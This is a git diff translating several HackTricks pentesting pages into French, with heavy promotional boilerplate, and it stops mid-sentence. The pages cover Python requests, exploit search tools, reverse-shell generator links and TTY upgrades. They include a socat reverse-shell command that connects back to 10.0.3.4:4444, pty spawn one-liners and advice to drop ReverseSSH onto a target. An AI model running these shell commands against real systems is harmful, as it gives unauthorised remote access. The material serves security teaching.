PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/generic-methodologies-and-resources/python/venv.md b/generic-methodologies-and-resources/python/venv.md index 9ee58dcb6..0ba74ce9a 100644 --- a/generic-methodologies-and-resources/python/venv.md +++ b/generic-methodologies-and-resources/python/venv.md @@ -2,9 +2,8 @@ ![](<../../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,14 +11,13 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - ```bash sudo apt-get install python3-venv #Now, go to the folder you want to create the virtual environment @@ -38,23 +36,22 @@ is fixed running pip3 install wheel inside the virtual environment ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/python/web-requests.md b/generic-methodologies-and-resources/python/web-requests.md index f0ca85712..5ddd96bfe 100644 --- a/generic-methodologies-and-resources/python/web-requests.md +++ b/generic-methodologies-and-resources/python/web-requests.md @@ -1,10 +1,9 @@ -# Web Requests +# Requêtes Web ![](<../../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,16 +11,15 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. ## Python Requests - ```python import requests @@ -89,9 +87,7 @@ def json_search(guid, search_string): def get_random_string(guid, path): return ''.join(random.choice(string.ascii_letters) for i in range(10)) ``` - -## Python cmd to exploit an RCE - +## Commande Python pour exploiter une RCE ```python import requests import re @@ -118,23 +114,22 @@ def RunCmd(cmd): term = Terminal() term.cmdloop() ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md index 534fea3a3..1ad24c5ae 100644 --- a/generic-methodologies-and-resources/search-exploits.md +++ b/generic-methodologies-and-resources/search-exploits.md @@ -1,10 +1,9 @@ -# Search Exploits +# Recherche d'exploits ![](<../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,24 +11,23 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. -### Browser +### Navigateur -Always search in "google" or others: **\ \[version] exploit** +Recherchez toujours dans "google" ou autres : **\ \[version] exploit** -You should also try the **shodan** **exploit search** from [https://exploits.shodan.io/](https://exploits.shodan.io). +Vous devriez également essayer la **recherche d'exploits shodan** à partir de [https://exploits.shodan.io/](https://exploits.shodan.io). ### Searchsploit -Useful to search exploits for services in **exploitdb from the console.** - +Utile pour rechercher des exploits pour les services dans **exploitdb depuis la console**. ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -39,45 +37,42 @@ searchsploit -p 7618[.c] #Show complete path searchsploit -x 7618[.c] #Open vi to inspect the exploit searchsploit --nmap file.xml #Search vulns inside an nmap xml result ``` - ### Pompem -[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is another tool to search for exploits +[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) est un autre outil pour rechercher des exploits. ### MSF-Search - ```bash msf> search platform:windows port:135 target:XP type:exploit ``` - ### PacketStorm -If nothing is found, try to search the used technology inside [https://packetstormsecurity.com/](https://packetstormsecurity.com) +Si rien n'est trouvé, essayez de rechercher la technologie utilisée sur [https://packetstormsecurity.com/](https://packetstormsecurity.com) ### Vulners -You can also search in vulners database: [https://vulners.com/](https://vulners.com) +Vous pouvez également effectuer une recherche dans la base de données de Vulners: [https://vulners.com/](https://vulners.com) ### Sploitus -This searches for exploits in other databases: [https://sploitus.com/](https://sploitus.com) +Cela recherche des exploits dans d'autres bases de données: [https://sploitus.com/](https://sploitus.com)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/shells/README.md b/generic-methodologies-and-resources/shells/README.md index cab800b1d..01bc94e9c 100644 --- a/generic-methodologies-and-resources/shells/README.md +++ b/generic-methodologies-and-resources/shells/README.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@@ -23,9 +21,9 @@ # [**MSFVenom - CheatSheet**](msfvenom.md) -# [**Full TTYs**](full-ttys.md) +# [**TTYs complets**](full-ttys.md) -# **Auto-generated shells** +# **Shells générés automatiquement** * [**https://reverse-shell.sh/**](https://reverse-shell.sh/) * [**https://www.revshells.com/**](https://www.revshells.com/) @@ -37,23 +35,3 @@ * [**https://weibell.github.io/reverse-shell-generator/**](https://weibell.github.io/reverse-shell-generator/) * [**https://github.com/t0thkr1s/revshellgen**](https://github.com/t0thkr1s/revshellgen) * [**https://github.com/mthbernardes/rsg**](https://github.com/mthbernardes/rsg) - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/generic-methodologies-and-resources/shells/full-ttys.md b/generic-methodologies-and-resources/shells/full-ttys.md index 6bcb27b83..a1294aa63 100644 --- a/generic-methodologies-and-resources/shells/full-ttys.md +++ b/generic-methodologies-and-resources/shells/full-ttys.md @@ -1,20 +1,20 @@ -# Full TTYs +# TTY complet
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Full TTY +## TTY complet -Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`. +Notez que le shell que vous définissez dans la variable `SHELL` **doit** être **listé à l'intérieur** de _**/etc/shells**_ ou `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. De plus, notez que les extraits de code suivants ne fonctionnent qu'en bash. Si vous êtes dans un zsh, passez à un bash avant d'obtenir le shell en exécutant `bash`. #### Python @@ -27,7 +27,7 @@ python3 -c 'import pty; pty.spawn("/bin/bash")' {% endcode %} {% hint style="info" %} -You can get the **number** of **rows** and **columns** executing **`stty -a`** +Vous pouvez obtenir le **nombre** de **lignes** et de **colonnes** en exécutant **`stty -a`** {% endhint %} #### script @@ -41,6 +41,7 @@ script /dev/null -qc /bin/bash #/dev/null is to not store anything #### socat +#### socat ```bash #Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 @@ -48,8 +49,7 @@ socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ``` - -### **Spawn shells** +### **Générer des shells** * `python -c 'import pty; pty.spawn("/bin/sh")'` * `echo os.system('/bin/bash')` @@ -66,11 +66,11 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ## ReverseSSH -A convenient way for **interactive shell access**, as well as **file transfers** and **port forwarding**, is dropping the statically-linked ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) onto the target. +Une façon pratique d'obtenir un accès shell interactif, ainsi que des transferts de fichiers et de la redirection de port, est de déposer le serveur ssh statiquement lié [ReverseSSH](https://github.com/Fahrj/reverse-ssh) sur la cible. -Below is an example for `x86` with upx-compressed binaries. For other binaries, check [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/). +Ci-dessous un exemple pour `x86` avec des binaires 